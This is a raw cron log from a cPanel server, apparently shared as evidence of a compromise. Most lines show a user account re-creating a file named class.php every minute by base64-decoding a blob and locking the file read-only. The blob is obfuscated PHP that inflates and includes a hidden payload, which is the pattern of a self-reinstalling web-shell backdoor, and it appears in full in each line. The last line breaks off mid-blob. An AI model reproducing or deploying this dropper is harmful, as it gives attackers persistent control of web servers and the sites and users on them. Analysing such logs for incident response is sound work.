Apr  7 11:20:01 server CROND[31471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:20:01 server CROND[31465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 11:21:01 server CROND[31685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:22:01 server CROND[31776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:23:01 server CROND[31840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:24:01 server CROND[31889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:25:01 server CROND[31943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:25:01 server CROND[31945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:25:01 server CROND[31944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:26:01 server CROND[32144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:27:01 server CROND[32206]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 11:27:01 server CROND[32207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:28:01 server CROND[32262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:29:01 server CROND[32329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:30:01 server CROND[32390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 11:30:01 server CROND[32391]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:30:01 server CROND[32392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:30:01 server CROND[32393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:31:01 server CROND[32624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:32:01 server CROND[32713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:33:01 server CROND[314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUF